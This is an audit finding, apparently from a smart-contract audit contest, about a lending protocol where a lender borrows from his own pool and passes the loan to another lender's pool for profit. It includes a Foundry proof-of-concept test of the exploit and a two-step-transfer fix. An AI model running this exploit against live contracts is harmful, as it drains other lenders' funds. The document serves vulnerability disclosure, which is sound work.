20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious lender gains value by borrowing from his pool and giving the loan away

Summary

Lender can borrow from his own pool. When he does that, he can give loan to other pool. Giving away the loan adds debt amount - fee to his pool balance. After withdrawing he has his initial pool balance + debt - fee. This can be profitable when tokens gained have higher value then collateral lost.

Vulnerability Details

There is no check that lender can't borrow from his pool. If there was, he could create second address. If conditions are satisfied, this malicious lender can give the loan to other pool, withdraw and end up with more loan tokens than he started with.

Lender starts with 100,000.
Wallet balance: 100,000

Pool is deployed.
Pool balance: 100,000
Wallet balance: 0
Debt: 0

Lender borrows 100.
Pool balance: 99,900
Wallet balance: 100
Debt: 100

Lender gives away the loan.
Pool balance: 99,999.5
Wallet balance: 100
Debt: 0

Lender withdraws.
Wallet balance: 100,099.5

Lender profited 99.5 tokens. When those tokens are more valuable than collateral lost in the process, he gained value.

POC

Simplified POC was created to demonstrate the flow. It can be run by code below in Lender.t.sol.

forge test --match-contract LenderTest --match-test test_stealFromOtherPool
function test_stealFromOtherPool() public {
address attacker = address(0x5);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
// lender creates a pool
vm.startPrank(lender1);
Pool memory pLender = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 lenderPoolId = lender.setPool(pLender);
vm.stopPrank();
// attacker creates same pool as lender
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
uint attackerLoanTokenBefore = loanToken.balanceOf(attacker);
Pool memory pAttacker = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(pAttacker);
// attacker borrows from his pool
collateralToken.approve(address(lender), 1000000*10**18);
Borrow memory b = Borrow({
poolId: attackerPoolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// attacker gives loan to lender
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = lenderPoolId;
lender.giveLoan(loanIds, poolIds);
// attacker withdraws from his pool
(,,,,uint256 poolBalance,,,,) = lender.pools(attackerPoolId);
lender.removeFromPool(attackerPoolId, poolBalance);
vm.stopPrank();
// attacker profits
uint attackerLoanTokenAfter = loanToken.balanceOf(attacker);
assert(attackerLoanTokenAfter > attackerLoanTokenBefore);
}

Impact

Malicious lender can profit from other lenders by giving them his loans from his pool. Other lenders can't defend themselves against such practices.

Tools Used

Manual review

Recommendations

Add two-step transfer to giveLoan feature. First, lender sends transaction to give loan away. The receiving lender would have to send his transaction to accept this loan.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.